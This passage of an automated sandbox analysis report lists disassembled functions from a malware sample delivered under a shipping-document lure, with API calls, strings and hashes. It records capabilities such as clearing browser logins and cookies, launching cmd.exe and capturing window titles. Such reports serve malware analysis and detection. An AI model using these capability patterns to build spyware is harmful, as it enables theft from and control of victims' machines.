                                                                                        • API String ID: 2055531096-499159329
                                                                                        • Opcode ID: 16c0c5432ea764d1c3b3677813c316a5f50629e206d56325c82df1a06a1f960a
                                                                                        • Instruction ID: e4880b57ed2806ada623013920947221b56867654f576af2420d72dde76e11cf
                                                                                        • Opcode Fuzzy Hash: 16c0c5432ea764d1c3b3677813c316a5f50629e206d56325c82df1a06a1f960a
                                                                                        • Instruction Fuzzy Hash: 1201D831A40F40AFE7257B368D9552BBBE0FF01302704097FE68396AE2D6789800CF59
                                                                                        Function 0040E7C5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E833
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Exception@8Throw
                                                                                        • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                                                                                        • API String ID: 2005118841-1866435925
                                                                                        • Opcode ID: 8dcc56bc0b3abd67e197b42ddab56c72444c781ea05e0f6efff8352e2a22a648
                                                                                        • Instruction ID: aca7d9cae529c24a85643cb8f0975e7fdd15ab88b82278639a3f13e82648cb6f
                                                                                        • Opcode Fuzzy Hash: 8dcc56bc0b3abd67e197b42ddab56c72444c781ea05e0f6efff8352e2a22a648
                                                                                        • Instruction Fuzzy Hash: 2C01B1315443086AE618F693C843FAA73585B10708F108C2FAA15761C2F67D6961C66B
                                                                                        Function 0041CAE1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42windowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FormatMessageA.KERNEL32(00001100,00000000,00000000,00000400,?,00000000,00000000,00474EF8,00474EF8,PkGNG,00404A40), ref: 0041CB09
                                                                                        • LocalFree.KERNEL32(?,?), ref: 0041CB2F
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: FormatFreeLocalMessage
                                                                                        • String ID: @J@$PkGNG
                                                                                        • API String ID: 1427518018-1416487119
                                                                                        • Opcode ID: 582a0a935ffae84e33b405a2c8e80a835bcb557197e1ba62297b84e69e8a9d31
                                                                                        • Instruction ID: 02a9d8e2c753fe243ccbc909122ce1ddd8f8b45a09ed5088e6b723b988b0f700
                                                                                        • Opcode Fuzzy Hash: 582a0a935ffae84e33b405a2c8e80a835bcb557197e1ba62297b84e69e8a9d31
                                                                                        • Instruction Fuzzy Hash: 5EF0A434B0021AAADF08A7A6DD4ADFF7769DB84305B10007FB606B21D1EEB86D05D659
                                                                                        Function 0040DFA6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • std::_Lockit::_Lockit.LIBCPMT ref: 0040DFB1
                                                                                        • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040DFF0
                                                                                          • Part of subcall function 00435640: _Yarn.LIBCPMT ref: 0043565F
                                                                                          • Part of subcall function 00435640: _Yarn.LIBCPMT ref: 00435683
                                                                                        • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E016
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
                                                                                        • String ID: bad locale name
                                                                                        • API String ID: 3628047217-1405518554
                                                                                        • Opcode ID: 03a3a1b6538e95a80bbc96a5a3230d3fb174e533ca0510e3d942a7448ac3be7a
                                                                                        • Instruction ID: c9d4814c50014869750c7e26a4e1a69426a580a77e14145940ab7c7d7e24a8db
                                                                                        • Opcode Fuzzy Hash: 03a3a1b6538e95a80bbc96a5a3230d3fb174e533ca0510e3d942a7448ac3be7a
                                                                                        • Instruction Fuzzy Hash: EAF081314006049AC634FA62D863B9AB7B89F14718F504A7FB906228D1EF7CBA1CCA4C
                                                                                        Function 0041376F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,0046611C), ref: 0041377E
                                                                                        • RegSetValueExA.ADVAPI32(0046611C,?,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,0041CAB1,WallpaperStyle,0046611C,00000001,00474EE0,00000000), ref: 004137A6
                                                                                        • RegCloseKey.ADVAPI32(0046611C,?,?,0041CAB1,WallpaperStyle,0046611C,00000001,00474EE0,00000000,?,0040875D,00000001), ref: 004137B1
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseCreateValue
                                                                                        • String ID: Control Panel\Desktop
                                                                                        • API String ID: 1818849710-27424756
                                                                                        • Opcode ID: 6030d9855dac89f4cd46f7f8c789974497344dcf9873e73d86c3d4cdefa30cde
                                                                                        • Instruction ID: c04290829ccef693e4e8b5b7d06cdf9a2950efbbd707a4c1379ff92f90edcb59
                                                                                        • Opcode Fuzzy Hash: 6030d9855dac89f4cd46f7f8c789974497344dcf9873e73d86c3d4cdefa30cde
                                                                                        • Instruction Fuzzy Hash: B8F06272400118FBCB009FA1DD45DEA376CEF04B51F108566FD09A61A1D7359E14DB54
                                                                                        Function 00416C2D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateThread.KERNEL32(00000000,00000000,Function_0001D45D,00000000,00000000,00000000), ref: 00416C47
                                                                                        • ShowWindow.USER32(00000009), ref: 00416C61
                                                                                        • SetForegroundWindow.USER32 ref: 00416C6D
                                                                                          • Part of subcall function 0041CD9B: AllocConsole.KERNEL32(00475338), ref: 0041CDA4
                                                                                          • Part of subcall function 0041CD9B: ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
                                                                                          • Part of subcall function 0041CD9B: SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Window$ConsoleShow$AllocCreateForegroundOutputThread
                                                                                        • String ID: !D@
                                                                                        • API String ID: 3446828153-604454484
                                                                                        • Opcode ID: 6979cefb1d1fefa54efaa96eb459276fcc124e6eae3c34ad0f1a5970b9474eaa
                                                                                        • Instruction ID: c1d0571eb829819ca76672189d51ce116019f2d3a91c4b5ec781e9fa27a10d2f
                                                                                        • Opcode Fuzzy Hash: 6979cefb1d1fefa54efaa96eb459276fcc124e6eae3c34ad0f1a5970b9474eaa
                                                                                        • Instruction Fuzzy Hash: 9EF05E70158201EAD720AB62EC45AFA7B69EB54351F00483BF849D14F2DB398C85C69D
                                                                                        Function 004160EE Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 00416130
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ExecuteShell
                                                                                        • String ID: /C $cmd.exe$open
                                                                                        • API String ID: 587946157-3896048727
                                                                                        • Opcode ID: 1fb54d341f42364606467e993f20cb3c4ceaa424224daa94047b07daa39982c0
                                                                                        • Instruction ID: 0a18f3537a1213b4b5dca9b82f73c842755a7e35c30cee8a650de64661b344da
                                                                                        • Opcode Fuzzy Hash: 1fb54d341f42364606467e993f20cb3c4ceaa424224daa94047b07daa39982c0
                                                                                        • Instruction Fuzzy Hash: 0DE0C0B0208345AAC705E775CC95CBF73ADAA94749B50483F7142A20E2EF7C9D49C659
                                                                                        Function 0040140A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleHandleA.KERNEL32(User32.dll,GetCursorInfo), ref: 00401414
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0040141B
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: AddressHandleModuleProc
                                                                                        • String ID: GetCursorInfo$User32.dll
                                                                                        • API String ID: 1646373207-2714051624
                                                                                        • Opcode ID: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                                                                                        • Instruction ID: 65f79b4a2c2aed896b4012a4b0ac893fb7d0ccba54e760513c8834f3bef68171
                                                                                        • Opcode Fuzzy Hash: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                                                                                        • Instruction Fuzzy Hash: B4B09B70541740E7CB106BF45C4F9153555B514703B105476B44996151D7B44400C61E
                                                                                        Function 004014AF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • LoadLibraryA.KERNEL32(User32.dll,GetLastInputInfo), ref: 004014B9
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 004014C0
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: AddressLibraryLoadProc
                                                                                        • String ID: GetLastInputInfo$User32.dll
                                                                                        • API String ID: 2574300362-1519888992
                                                                                        • Opcode ID: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                                                                                        • Instruction ID: ea73ef4d1088e939c140d9431744cb36a9dcab52d5ea7f3e4bb33043e5d41cbe
                                                                                        • Opcode Fuzzy Hash: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                                                                                        • Instruction Fuzzy Hash: 5EB092B45C1700FBCB106FA4AC4E9293AA9A614703B1088ABB845D2162EBB884008F9F
                                                                                        Function 0040C00C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        • Cleared browsers logins and cookies., xrefs: 0040C0F5
                                                                                        • [Cleared browsers logins and cookies.], xrefs: 0040C0E4
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Sleep
                                                                                        • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                                                                                        • API String ID: 3472027048-1236744412
                                                                                        • Opcode ID: 24f20f3b92deb628025467620478f708c177420abe32db4e4f6f8a7850cc6954
                                                                                        • Instruction ID: fac43f66edf0589ccdcbb227709f1a337e776f7542e83b73a027453bfa593f46
                                                                                        • Opcode Fuzzy Hash: 24f20f3b92deb628025467620478f708c177420abe32db4e4f6f8a7850cc6954
                                                                                        • Instruction Fuzzy Hash: 2531C804348380E9D6116BF554567AB7B814E93744F08457FB9C42B3D3D97E4848C7AF
                                                                                        Function 0040A529 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0041C551: GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041C561
                                                                                          • Part of subcall function 0041C551: GetWindowTextLengthW.USER32(00000000), ref: 0041C56A
                                                                                          • Part of subcall function 0041C551: GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0041C594
                                                                                        • Sleep.KERNEL32(000001F4), ref: 0040A573
                                                                                        • Sleep.KERNEL32(00000064), ref: 0040A5FD
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Window$SleepText$ForegroundLength
                                                                                        • String ID: [ $ ]
                                                                                        • API String ID: 3309952895-93608704
                                                                                        • Opcode ID: 4603c95d7a0278816d05f17b1e103e1b56ebf32c1baad14edcc254fcbbfd146b
                                                                                        • Instruction ID: 97bd403738d1ca0cb59e80c1fc79ee6201ed0cb329172f4776a94889a39aca56
                                                                                        • Opcode Fuzzy Hash: 4603c95d7a0278816d05f17b1e103e1b56ebf32c1baad14edcc254fcbbfd146b
                                                                                        • Instruction Fuzzy Hash: FE119F315043006BC614BB65CC5399F77A8AF50308F40053FF552665E2FF79AA5886DB
                                                                                        Function 00443A33 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
                                                                                        • Instruction ID: 17f232e73e96fb976a24982deb7d35e81c220cd9520ca4ef7e8dcf180de91df6
                                                                                        • Opcode Fuzzy Hash: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
                                                                                        • Instruction Fuzzy Hash: 1301F2B36497067EFA202E786CC1F67220CDF41BBEB34032BB574712D1DA68CE404568
                                                                                        Function 00443AB2 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 544fafb264448ea5c1072d449201ab24ccf485d51590c339dd7f80fdded84d3d
                                                                                        • Instruction ID: 34d970f17befced98e3ca294e9c9a609e5e7bfbb0444a55afbb34e25ce639c56
                                                                                        • Opcode Fuzzy Hash: 544fafb264448ea5c1072d449201ab24ccf485d51590c339dd7f80fdded84d3d
                                                                                        • Instruction Fuzzy Hash: 0601A2B26096117EFA111E796CC4E27624CDB81BBF325032BF535612D6DA688E014169
                                                                                        Function 00448566 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,0044850D,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue), ref: 00448598
                                                                                        • GetLastError.KERNEL32(?,0044850D,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7), ref: 004485A4
                                                                                        • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0044850D,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000), ref: 004485B2
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: LibraryLoad$ErrorLast
                                                                                        • String ID:
                                                                                        • API String ID: 3177248105-0
                                                                                        • Opcode ID: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                                                                                        • Instruction ID: d5df962f837ff7629ef00c7a8b4dcab40ba3e58d8e4ddb8b40c265455ff02ab4
                                                                                        • Opcode Fuzzy Hash: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                                                                                        • Instruction Fuzzy Hash: AA012832602322FBD7214B289C4495B7798AB50B61B20053AFD05D3241DF34CD01CAE8
                                                                                        Function 0041C485 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C49E
                                                                                        • GetFileSize.KERNEL32(00000000,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C4B2
                                                                                        • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C4D7
                                                                                        • CloseHandle.KERNEL32(00000000,?,00000000,0040412F,00465E74), ref: 0041C4E5
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: File$CloseCreateHandleReadSize
                                                                                        • String ID:
                                                                                        • API String ID: 3919263394-0
                                                                                        • Opcode ID: c4d28c244904a0c4b31f6914b30dbe9704a3e03414ae878e480ac2c22075bc56
                                                                                        • Instruction ID: d938e931a51b81dfe9e25773ede9364464a286a3a3b97e7b856b7b87d8bf29b3
                                                                                        • Opcode Fuzzy Hash: c4d28c244904a0c4b31f6914b30dbe9704a3e03414ae878e480ac2c22075bc56
                                                                                        • Instruction Fuzzy Hash: 0FF0C2B1245308BFE6101B25ACD4EBB375CEB867A9F00053EF902A22C1CA298C05913A
                                                                                        Function 0041C1DD Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                                                                                        • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                                                                                        • CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0041C233
                                                                                        • CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0041C23B
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseHandleOpenProcess
                                                                                        • String ID:
                                                                                        • API String ID: 39102293-0
                                                                                        • Opcode ID: f9441541d1e055ebec971b28555d0febc4d5c2f8e157a993c91f5ce795852cd2
                                                                                        • Instruction ID: 502f13a9e38f74389cb09c542eced9ec4ef47df168bad581006c654e14f0d55b
                                                                                        • Opcode Fuzzy Hash: f9441541d1e055ebec971b28555d0febc4d5c2f8e157a993c91f5ce795852cd2
                                                                                        • Instruction Fuzzy Hash: 53012BB1680315ABD61057D49C89FB7B27CDB84796F0000A7FA04D21D2EF748C818679
                                                                                        Function 00439863 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • ___BuildCatchObject.LIBVCRUNTIME ref: 0043987A
                                                                                          • Part of subcall function 00439EB2: ___AdjustPointer.LIBCMT ref: 00439EFC
                                                                                        • _UnwindNestedFrames.LIBCMT ref: 00439891
                                                                                        • ___FrameUnwindToState.LIBVCRUNTIME ref: 004398A3
                                                                                        • CallCatchBlock.LIBVCRUNTIME ref: 004398C7
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
                                                                                        • String ID:
                                                                                        • API String ID: 2633735394-0
                                                                                        • Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                                                                        • Instruction ID: dcee73c62e3621a690853eebe59cad03ae51e1002f288686f44977c5109bb855
                                                                                        • Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                                                                        • Instruction Fuzzy Hash: 18011732000109BBCF12AF55CC01EDA3BBAEF9D754F04511AFD5861221C3BAE861DBA5
                                                                                        Function 004193E3 Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetSystemMetrics.USER32(0000004C), ref: 004193F0
                                                                                        • GetSystemMetrics.USER32(0000004D), ref: 004193F6
                                                                                        • GetSystemMetrics.USER32(0000004E), ref: 004193FC
                                                                                        • GetSystemMetrics.USER32(0000004F), ref: 00419402
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: MetricsSystem
                                                                                        • String ID:
                                                                                        • API String ID: 4116985748-0
                                                                                        • Opcode ID: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                                                                                        • Instruction ID: 9a44d86f369c7068fc2c949f9b02ed5542bf43da40f6b7222f807aea32733f55
                                                                                        • Opcode Fuzzy Hash: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                                                                                        • Instruction Fuzzy Hash: DFF0A471B043155BD744EA759C51A6F6BD5EBD4264F10043FF20887281EE78DC468785
                                                                                        Function 00438F31 Relevance: 6.0, APIs: 4, Instructions: 14COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • ___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00438F31
                                                                                        • ___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00438F36
                                                                                        • ___vcrt_initialize_locks.LIBVCRUNTIME ref: 00438F3B
                                                                                          • Part of subcall function 0043A43A: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0043A44B
                                                                                        • ___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00438F50
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
                                                                                        • String ID:
                                                                                        • API String ID: 1761009282-0
                                                                                        • Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                                                                                        • Instruction ID: 04dbcd9d80b8837b95b31ffc0e846904d80335f120ca5f78e3accc67d081205e
                                                                                        • Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                                                                                        • Instruction Fuzzy Hash: 59C04C15080781541C50B6B2210B2AE83461E7E38DFD074DFFCE0571038E4E043B653F
                                                                                        Function 00442C5D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • __startOneArgErrorHandling.LIBCMT ref: 00442CED
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorHandling__start
                                                                                        • String ID: pow
                                                                                        • API String ID: 3213639722-2276729525
                                                                                        • Opcode ID: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
                                                                                        • Instruction ID: c2a334fe3ab53b67a82bc2a1da04863f7f1ed5e2a579c87dfbcc8ae8a095d349
                                                                                        • Opcode Fuzzy Hash: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
                                                                                        • Instruction Fuzzy Hash: C6516DA1E0420296FB167B14CE4137B2BA4DB40751F704D7FF096823AAEB7D8C859A4F
                                                                                        Function 00449E3C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • WideCharToMultiByte.KERNEL32(000000FF,00000000,00000006,00000001,?,?,00000000,?,00000000,?,?,00000000,00000006,?,?,?), ref: 00449F0F
                                                                                        • GetLastError.KERNEL32 ref: 00449F2B
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ByteCharErrorLastMultiWide
                                                                                        • String ID: PkGNG
                                                                                        • API String ID: 203985260-263838557
                                                                                        • Opcode ID: 8762d6c9eb8cd6bb849928aa97b0b7335ecf1b8cbe6ccd937ce160abea437523
                                                                                        • Instruction ID: 5218313022fb824330162c1b3e1e252a07855a0508c927524b2412b0d5c8e50b
                                                                                        • Opcode Fuzzy Hash: 8762d6c9eb8cd6bb849928aa97b0b7335ecf1b8cbe6ccd937ce160abea437523
